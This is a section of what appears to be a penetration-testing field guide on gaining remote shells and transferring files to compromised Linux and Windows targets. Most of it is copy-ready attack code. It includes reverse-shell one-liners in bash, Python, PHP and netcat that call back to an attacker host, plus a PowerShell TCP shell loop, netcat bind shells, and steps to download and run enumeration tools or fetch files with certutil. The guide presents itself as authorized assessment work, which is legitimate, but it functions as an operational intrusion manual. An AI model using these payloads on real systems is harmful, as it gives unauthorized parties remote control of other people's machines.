4.2 Establish sessions and move files

Requires: A functioning execution primitive and an observable output or controlled side effect

Action class: May create sessions, execute commands or transfer files.

Stop/verify: Save destination identity/hostname and actual command output; use Windows hostname/whoami/ipconfig when appropriate.

Failure/next check: A hung request or success message does not prove execution. First establish a bounded observable effect, then diagnose the next state.

Blocks: 7; transfers support 5–14. Operational procedure | Operational procedure | Operational procedure | Quick sheet

4.2.6.1 Purpose and result

A verified reverse command channel under the executing identity.

4.2.6.2 Recognition clues

Linux command execution exists but an interactive channel is needed.

4.2.6.2.1 Find the clue from your starting access

Where to investigate: From the proven Linux command channel inspect available interpreters and the target's route to the proposed listener.

Discovery action — reference example:

Access/context: Verified command execution or authenticated remote access and a known network path

command -v bash python3 php nc
ip route get LHOST

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

/usr/bin/bash
/usr/bin/python3
LHOST via GATEWAY dev INTERFACE

Recognize this detail: An interpreter plus a plausible outbound route suggests a reverse-channel candidate.

Still missing before method selection: Verify target-to-listener reachability, listener binding, exact shell/parser and payload compatibility.

If you do not yet have this clue: start with Verify command execution, host and represented identity.

4.2.6.3 Prerequisites

Starting access: Verified command execution or authenticated remote access and a known network path. Required conditions: A confirmed Bash/Python/PHP/Netcat implementation, correct parser wrapping, target-to-listener route and compatible listener.

4.2.6.4 Discover and verify prerequisites

command -v bash python3 php nc
ip route get LHOST

4.2.6.5 Why it works

The target initiates the connection. The chosen LHOST must be reachable from that target, possibly through a pivot; shell syntax must survive every outer parser.

4.2.6.6 Execute and choose variants

trigger context
→ target process/interpreter and architecture
→ target source interface
→ route/egress controls
→ LHOST address visible from target
→ LPORT
→ local bind interface
→ listener/handler

Select LHOST from the target's point of view. A VPN address, tunnel endpoint or reachable interface may be correct while Kali's default-route address is wrong.

On Kali:

ip -brief address
ip route
ss -lntp

Windows source/listener checks:

Get-NetIPAddress -AddressFamily IPv4
Get-NetRoute -AddressFamily IPv4
Get-NetTCPConnection -State Listen

Traditional/OpenBSD-style nc commonly used on Kali:

rlwrap nc -lvnp LPORT

Nmap Ncat uses a positional listen port; do not mechanically copy every nc flag:

ncat -4 -lvn 0.0.0.0 LPORT

Verify the bind in another terminal:

ss -lntp | grep ':LPORT'

If multiple interfaces exist, bind deliberately:

ncat -4 -lvn LHOST LPORT

Choose an interpreter that you confirmed exists.

Bash TCP:

bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'

Python 3 with a PTY:

python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("LHOST",LPORT));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'

Portable FIFO plus Netcat when -e is absent:

rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc LHOST LPORT >/tmp/f

PHP CLI:

php -r '$s=fsockopen("LHOST",LPORT);exec("/bin/sh -i <&3 >&3 2>&3");'

ncat LHOST LPORT --exec /bin/sh

ncat.exe LHOST LPORT --exec cmd.exe

Shell-language cue: a command injection may execute through /bin/sh, which does not understand every Bash construct. Wrap Bash-specific syntax in bash -c '...' and then encode it for the outer HTTP/template/database layer.

4.2.6.7 Worked example — hypothetical

Observation: id works through a web command field but no shell arrives. Test: verify Bash exists and wrap its redirections in bash -c while inspecting listener traffic. Illustrative output: a connection and target identity appear. Interpretation: stabilize the terminal before interactive tools.

4.2.6.8 Verify the result

Run hostname/id through the returned channel and distinguish a TCP connection from a functioning shell.

4.2.6.9 Failure and fallback

No packets suggests route/listener/trigger; packets without commands suggest payload/listener mismatch. Check the first failed boundary.

4.2.6.10 Continue from the interpreted result

Blocks: 7; transfers support 5–14. Operational procedure | Quick sheet

4.2.7.1 Purpose and result

A verified Windows session with known token and channel limitations.

4.2.7.2 Recognition clues

Windows execution or valid credentials with an available remote service.

4.2.7.2.1 Find the clue from your starting access

Where to investigate: From Windows execution inspect the actual PowerShell/runtime context and any reachable authenticated remote service before building a callback.

Discovery action — reference example:

Access/context: Verified command execution or authenticated remote access and a known network path

whoami /all
$PSVersionTable
$ExecutionContext.SessionState.LanguageMode

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

User: DOMAIN\APP_USER
PSVersion: AVAILABLE_VERSION
LanguageMode: ConstrainedLanguage

Recognize this detail: The execution identity and constrained language context affect which command-channel implementations can run.

Still missing before method selection: Check permitted language features, remote endpoint authorization or a working callback route; encoding does not grant those.

If you do not yet have this clue: start with Verify command execution, host and represented identity.

4.2.7.3 Prerequisites

Starting access: Verified command execution or authenticated remote access and a known network path. Required conditions: Accepted remote-service rights or compatible PowerShell execution; correct encoding, policy context and callback route.

4.2.7.4 Discover and verify prerequisites

hostname
whoami /all
$PSVersionTable
$ExecutionContext.SessionState.LanguageMode

4.2.7.5 Why it works

Authenticated WinRM/RDP/SSH can be simpler than an injected callback. A basic PowerShell TCP loop is a command stream rather than a full terminal; encoding fixes parser transport, not authorization or endpoint controls.

4.2.7.6 Execute and choose variants

Prefer an available authenticated service:

evil-winrm -i TARGET -u USER -p 'PASSWORD'
xfreerdp /v:TARGET /u:'DOMAIN\USER' /p:'PASSWORD' /cert:ignore
ssh -p PORT USER@TARGET

PowerShell TCP shell when direct command execution is the only primitive:

$client = [Net.Sockets.TcpClient]::new('LHOST',LPORT)
$stream = $client.GetStream()
$buffer = New-Object byte[] 65535
while (($count = $stream.Read($buffer,0,$buffer.Length)) -gt 0) {
  $command = [Text.Encoding]::ASCII.GetString($buffer,0,$count)
  $output = (Invoke-Expression $command 2>&1 | Out-String) + "PS $((Get-Location).Path)> "
  $bytes = [Text.Encoding]::ASCII.GetBytes($output)
  $stream.Write($bytes,0,$bytes.Length)
  $stream.Flush()
}
$client.Close()

PowerShell -EncodedCommand solves nested quoting; it is not encryption or an AV bypass. Generate UTF-16LE Base64 locally:

$command = 'COMMAND'
$encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($command))
$encoded

Invoke in the target command context:

powershell.exe -NoProfile -NonInteractive -EncodedCommand BASE64_UTF16LE

4.2.7.7 Worked example — hypothetical

Observation: a PowerShell command can execute but RDP rights are absent. Test: select a supported command channel and verify its identity. Illustrative output: commands run as the web service account. Interpretation: enumerate that token rather than assume an interactive administrator session.

4.2.7.8 Verify the result

Verify hostname, whoami /all and command behavior through the resulting channel.

4.2.7.9 Failure and fallback

A saved credential may be valid for one protocol only. PowerShell policy, language mode, parser and antimalware evidence require different responses.

4.2.7.10 Continue from the interpreted result

Blocks: 7; transfers support 5–14. Operational procedure | Quick sheet

4.2.8.1 Purpose and result

A verified inbound command channel on the target.

4.2.8.2 Recognition clues

Reverse egress is unavailable but a target listener is reachable.

4.2.8.2.1 Find the clue from your starting access

Where to investigate: Inspect target-side listening permissions, tool implementation and the assessment-source route to a proposed listener.

Discovery action — reference example:

Access/context: Verified command execution or authenticated remote access and a known network path

nc -h
ss -lnt

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Netcat help: no -e option
Selected listen port: not currently bound

Recognize this detail: The implementation cannot use an assumed -e shell; another supported listener mechanism is needed.

Still missing before method selection: Confirm a compatible bind command, permitted listener and inbound source-to-target reachability.

If you do not yet have this clue: start with Verify command execution, host and represented identity.

4.2.8.3 Prerequisites

Starting access: Verified command execution or authenticated remote access and a known network path. Required conditions: Permission to bind, compatible Netcat/Ncat behavior and source-to-target listener connectivity through any required forward.

4.2.8.4 Discover and verify prerequisites

nc -h
ss -lnt

4.2.8.5 Why it works

The target listens and the assessment client connects. A local successful bind is separate from remote firewall/route acceptance.

4.2.8.6 Execute and choose variants

Use a bind shell only when Kali can reach a target listener and reverse egress is unavailable.

Traditional Netcat with -e support on a Linux target:

nc -lvnp PORT -e /bin/sh

Connect from Kali:

nc -nv TARGET PORT

FIFO alternative when -e is absent:

rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc -lvnp PORT >/tmp/f

Ncat target listener:

ncat -4 -lvn 0.0.0.0 PORT --exec /bin/sh

4.2.8.7 Worked example — hypothetical

Observation: the target cannot connect outward. Test: verify an allowed inbound path and compatible bind implementation. Illustrative output: the assessment client connects and receives target identity. Interpretation: use the same verification and terminal-repair steps as another foothold.

4.2.8.8 Verify the result

Verify reachable listener plus hostname/id over the channel; record and later remove the created listener.

4.2.8.9 Failure and fallback

A target-side listener with client timeout implies a route/firewall boundary. Use an appropriate forward or another allowed access form.

4.2.8.10 Continue from the interpreted result

Requires: Verified target/process architecture, delivery format, callback route, payload constraints and a matching staged/stageless listener

Action class: May create sessions, execute commands or transfer files.

Stop/verify: Check artifact format/hash and actual session identity; generation success is not execution proof.

Failure/next check: Wrong architecture, stage/handler mismatch, missing second route or payload-space constraints require separate fixes. Encoding does not guarantee endpoint-control bypass.

Requires: A working channel and available PTY mechanism; correct local-terminal control sequence

Action class: May create sessions, execute commands or transfer files.

Stop/verify: Check tty, signal handling and an interactive program; confirm the same identity remains.

Failure/next check: A dropped connection is not solved by terminal settings. If no PTY mechanism exists, use noninteractive commands or an authenticated terminal method.

Blocks: 7; transfers support 5–14. Operational procedure | Operational procedure | Quick sheet

4.2.11.1 Purpose and result

A downloaded file whose destination bytes can be verified.

4.2.11.2 Recognition clues

A tool/artifact must reach a target that can make an HTTP request.

4.2.11.2.1 Find the clue from your starting access

Where to investigate: From the target's command context inspect downloader availability, writable destination and a route to the fixed served directory.

Discovery action — reference example:

Access/context: Verified command execution or authenticated remote access and a known network path

command -v curl wget
ls -ld /tmp
ip route get LHOST

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

/usr/bin/curl
/tmp: writable to current user
LHOST via GATEWAY dev INTERFACE

Recognize this detail: A downloader, destination and plausible outbound path enable an HTTP transfer candidate.

Still missing before method selection: Check actual server bind/directory, HTTP request/response and source/destination hashes.

If you do not yet have this clue: start with Verify command execution, host and represented identity.

4.2.11.3 Prerequisites

Starting access: Verified command execution or authenticated remote access and a known network path. Required conditions: Correct server bind and served directory; target-to-server route, available downloader and writable destination.

4.2.11.4 Discover and verify prerequisites

python3 -m http.server 8000 --bind LHOST --directory /PATH/TO/FILES

4.2.11.5 Why it works

The target is the HTTP client even when the assessment host started the operation. A 404 is a server-path problem; no request is a different boundary from successful download with incompatible execution.

4.2.11.6 Execute and choose variants

On Kali, serve the directory containing linpeas.sh:

cd /path/to/tools
python3 -m http.server 8000 --bind 0.0.0.0

On the Linux target, download into a writable directory and run it:

wget http://LHOST:8000/linpeas.sh -O /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh | tee /tmp/linpeas.txt

python3 -m http.server 8000 --bind 0.0.0.0 --directory /path/to/tools

curl -fL http://LHOST:8000/FILE -o /tmp/FILE

Invoke-WebRequest -Uri "http://LHOST:8000/FILE" -OutFile "C:\Windows\Temp\FILE"

powershell -NoProfile -Command "Invoke-WebRequest -Uri 'http://LHOST:8000/FILE' -OutFile 'C:\Windows\Temp\FILE'"

(New-Object Net.WebClient).DownloadFile('http://LHOST:8000/FILE','C:\Windows\Temp\FILE')

curl.exe -fL http://LHOST:8000/FILE -o C:\Windows\Temp\FILE

certutil.exe -urlcache -split -f http://LHOST:8000/FILE C:\Windows\Temp\FILE

Compare the source and destination hashes.

On Kali or Linux:

sha256sum FILE
sha256sum /tmp/FILE

On Windows:

Get-FileHash -Algorithm SHA256 "C:\Windows\Temp\FILE"

4.2.11.7 Worked example — hypothetical

Observation: a download reports success but the tool fails. Test: compare source/destination SHA-256 before execution. Illustrative output: hashes differ and the destination contains an error page. Interpretation: correct the HTTP path and repeat the transfer.

4.2.11.8 Verify the result

Compare sha256sum on Linux or Get-FileHash -Algorithm SHA256 on Windows, and verify destination permissions.

4.2.11.9 Failure and fallback

No request: route/bind/egress. 404: path/name. Matching file but no execution: interpreter/format/control. Diagnose each separately.

4.2.11.10 Continue from the interpreted result

Blocks: 7; transfers support 5–14. Operational procedure | Quick sheet

4.2.12.1 Purpose and result

An authenticated file copy with verified bytes.

4.2.12.2 Recognition clues

An SSH identity can access the needed source/destination.

4.2.12.2.1 Find the clue from your starting access

Where to investigate: Use established SSH context to identify allowed file/subsystem access and the intended remote destination's rights.

Discovery action — reference example:

Access/context: Verified command execution or authenticated remote access and a known network path

ssh -v -p PORT USER@TARGET

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Authenticated using publickey
Session/subsystem policy: inspect before transfer

Recognize this detail: SSH authentication gives a candidate transport; it does not prove SFTP/subsystem support or destination write.

Still missing before method selection: Validate client/server subsystem compatibility, source read and destination write; inspect resulting bytes.

If you do not yet have this clue: start with Use SSH passwords, keys and forwarding-capable access.

4.2.12.3 Prerequisites

Starting access: Verified command execution or authenticated remote access and a known network path. Required conditions: Reachable SSH/SFTP service, correct key/password and read/write rights; client/server subsystem compatibility.

4.2.12.4 Discover and verify prerequisites

ssh -p PORT -i KEY USER@TARGET

4.2.12.5 Why it works

SCP uses SSH authentication but filesystem rights remain independent. Modern clients may use the SFTP subsystem; a restricted service can allow one access form and deny another.

4.2.12.6 Execute and choose variants

scp FILE USER@TARGET:/tmp/FILE

scp USER@TARGET:/path/to/FILE ./FILE

scp -i KEY -P PORT FILE USER@TARGET:/tmp/FILE

4.2.12.7 Worked example — hypothetical

Observation: SSH login succeeds but copying into an application directory fails. Test: copy to the user's writable temporary directory. Illustrative output: transfer completes and hashes match. Interpretation: destination authorization caused the original failure.

4.2.12.8 Verify the result

Verify copied bytes and location; uppercase -P selects scp's SSH port.

4.2.12.9 Failure and fallback

Authentication failure, missing subsystem and destination permission failure need different changes. Prefer a supported transfer method over guessing flags.

4.2.12.10 Continue from the interpreted result

Blocks: 7; transfers support 5–14. Operational procedure | Quick sheet

4.2.13.1 Purpose and result

A verified read/write transfer over the temporary share.

4.2.13.2 Recognition clues

A Windows source can reach a temporary assessment-side SMB service.

4.2.13.2.1 Find the clue from your starting access

Where to investigate: From Windows inspect TCP/445 reachability to the deliberate transfer server and distinguish its share identity from target-domain credentials.

Discovery action — reference example:

Access/context: Verified command execution or authenticated remote access and a known network path

Test-NetConnection LHOST -Port 445
net use

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

TcpTestSucceeded : True
Existing connection: \\LHOST\OTHER_SHARE as OTHER_USER

Recognize this detail: The service is reachable, but an existing connection can constrain a different credential context.

Still missing before method selection: Verify intended share/server credentials, conflicting mappings, read/write rights and destination hash.

If you do not yet have this clue: start with Verify command execution, host and represented identity.

4.2.13.3 Prerequisites

Starting access: Verified command execution or authenticated remote access and a known network path. Required conditions: Inbound SMB listener on the server, outbound TCP/445 from the client, compatible SMB version and explicit share credentials.

4.2.13.4 Discover and verify prerequisites

Test-NetConnection LHOST -Port 445

4.2.13.5 Why it works

Share authentication belongs to the temporary server, not automatically the target domain. Existing Windows connections to the same server can conflict with another credential context.

4.2.13.6 Execute and choose variants

mkdir -p share
sudo impacket-smbserver transfer "$(pwd)/share" -smb2support -username USER -password 'PASSWORD'

sudo smbserver.py transfer "$(pwd)/share" -smb2support -username USER -password 'PASSWORD'

net use \\LHOST\transfer /user:USER "PASSWORD"
copy \\LHOST\transfer\FILE C:\Windows\Temp\FILE

copy C:\Windows\Temp\FILE \\LHOST\transfer\FILE
net use \\LHOST\transfer /delete

4.2.13.7 Worked example — hypothetical

Observation: HTTP is unavailable but outbound SMB is permitted. Test: connect to the authenticated share and copy one artifact. Illustrative output: copy succeeds and SHA-256 matches. Interpretation: use that transfer route and remove the created connection afterward.

4.2.13.8 Verify the result

Verify source/destination hash and the share path; disconnect created mappings after use.

4.2.13.9 Failure and fallback

No route, conflicting cached connection, invalid share credentials and denied filesystem writes are independent failure points.

4.2.13.10 Continue from the interpreted result

Blocks: 7; transfers support 5–14. Operational procedure | Quick sheet

4.2.14.1 Purpose and result

A byte stream saved as a file and independently checked for integrity.

4.2.14.2 Recognition clues

Only a raw TCP tool and a direct or forwarded connection are available.

4.2.14.2.1 Find the clue from your starting access

Where to investigate: When richer transfers are unavailable, inspect the exact TCP tool and draw sender, receiver and writable output destination.

Discovery action — reference example:

Access/context: Verified command execution or authenticated remote access and a known network path

nc -h
ls -ld /DESTINATION_DIRECTORY

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Available client: Netcat implementation
Direction: sender -> receiver listener
Destination: writable

Recognize this detail: A raw stream may move bytes only if roles and connection direction are correct; no integrity metadata is supplied.

Still missing before method selection: Confirm listener syntax, reachability, binary-clean I/O and a complete independent hash match.

If you do not yet have this clue: start with Verify command execution, host and represented identity.

4.2.14.3 Prerequisites

Starting access: Verified command execution or authenticated remote access and a known network path. Required conditions: Unambiguous sender/receiver direction, compatible Netcat listener syntax and a writable output file.

4.2.14.4 Discover and verify prerequisites

nc -h
ip route get TARGET

4.2.14.5 Why it works

A raw stream carries no filename, authentication or integrity metadata. Terminal output and connection termination can corrupt or truncate the saved file.

4.2.14.6 Execute and choose variants

nc -lvnp PORT > FILE

nc -nv LHOST PORT < /path/to/FILE

nc -lvnp PORT > /tmp/FILE

nc -nv TARGET PORT < FILE

nc -lvn PORT > FILE

4.2.14.7 Worked example — hypothetical

Observation: a raw transfer connects but the saved artifact is shorter. Test: compare size/hash and inspect sender termination behavior. Illustrative output: a repeated clean transfer matches the source. Interpretation: only the matching copy is suitable for execution.

4.2.14.8 Verify the result

Compare hashes and avoid mixing diagnostic text into the file stream.

4.2.14.9 Failure and fallback

A connection without a complete hash match proves only transport. Use SCP/HTTP/SMB when those routes exist.

4.2.14.10 Continue from the interpreted result

Blocks: 7; transfers support 5–14. Operational procedure | Quick sheet

4.2.15.1 Purpose and result

A reconstructed small file with matching bytes.

4.2.15.2 Recognition clues

The existing command channel permits text but no convenient file-transfer connection.

4.2.15.2.1 Find the clue from your starting access

Where to investigate: Inspect the existing channel's command-length/quoting limits and whether both sides can reconstruct a small encoded file.

Discovery action — reference example:

Access/context: Verified command execution or authenticated remote access and a known network path

command -v base64
wc -c FILE

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

/usr/bin/base64
SMALL_BYTE_COUNT FILE

Recognize this detail: A small artifact and compatible decoder make text transport plausible, without assuming large encoded commands survive.

Still missing before method selection: Verify exact length/quoting and source/destination hash; use the Windows decoding variant when appropriate.

If you do not yet have this clue: start with Verify command execution, host and represented identity.

4.2.15.3 Prerequisites

Starting access: Verified command execution or authenticated remote access and a known network path. Required conditions: Available Base64 encode/decode, adequate command length and a writable destination.

4.2.15.4 Discover and verify prerequisites

base64 -w 0 FILE
sha256sum FILE

4.2.15.5 Why it works

Base64 transports bytes through text; it does not encrypt them or guarantee that the command channel preserves length and quoting.

4.2.15.6 Execute and choose variants

base64 -w 0 FILE

printf '%s' 'BASE64_DATA' | base64 -d > /tmp/FILE

[IO.File]::WriteAllBytes('C:\Windows\Temp\FILE',[Convert]::FromBase64String('BASE64_DATA'))

4.2.15.7 Worked example — hypothetical

Observation: a short configuration must cross a command-only channel. Test: encode, decode at the destination and compare hashes. Illustrative output: the hash matches. Interpretation: the byte transport succeeded; execution compatibility remains separate.

4.2.15.8 Verify the result

Require a complete matching hash; keep encoded secrets in private evidence rather than reusable notes.

4.2.15.9 Failure and fallback

Truncation, wrapping and quoting often corrupt long values. Use a network transfer for larger files.

4.2.15.10 Continue from the interpreted result

Blocks: 7; transfers support 5–14. Operational procedure | Quick sheet

4.2.16.1 Purpose and result

A verified temporary FTP file transfer.

4.2.16.2 Recognition clues

The target has an FTP client and simpler transfer routes are unavailable.

4.2.16.2.1 Find the clue from your starting access

Where to investigate: Inspect whether a compatible FTP client is the remaining route and whether the temporary server's data channel is reachable.

Discovery action — reference example:

Access/context: Verified command execution or authenticated remote access and a known network path

ftp
help
quit

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Client commands include: open, binary, get, put
No transfer mode selected yet

Recognize this detail: Client availability permits investigating FTP; binary mode and separate data-channel paths remain necessary.

Still missing before method selection: Verify deliberate server scope, control/data connectivity, required read/write and post-transfer hashes.

If you do not yet have this clue: start with Verify command execution, host and represented identity.

4.2.16.3 Prerequisites

Starting access: Verified command execution or authenticated remote access and a known network path. Required conditions: A deliberately selected temporary server, correct served directory, control/data paths and binary transfer mode.

4.2.16.4 Discover and verify prerequisites

ftp LHOST PORT
binary

4.2.16.5 Why it works

FTP has separate control/data channels and can transform files in text mode. The temporary server's default permissions and authentication must be checked.

4.2.16.6 Execute and choose variants

python3 -m pyftpdlib -p PORT

ftp LHOST PORT
binary
get FILE
put FILE
quit

4.2.16.7 Worked example — hypothetical

Observation: a binary copied over FTP fails. Test: repeat in binary mode and compare hashes. Illustrative output: the second copy matches. Interpretation: transport mode, not payload generation, caused the failure.

4.2.16.8 Verify the result

Compare bytes and stop the temporary server after its purpose is complete.

4.2.16.9 Failure and fallback

A working control session with failed data transfer requires data-channel troubleshooting. Choose HTTP/SCP/SMB when available.

4.2.16.10 Continue from the interpreted result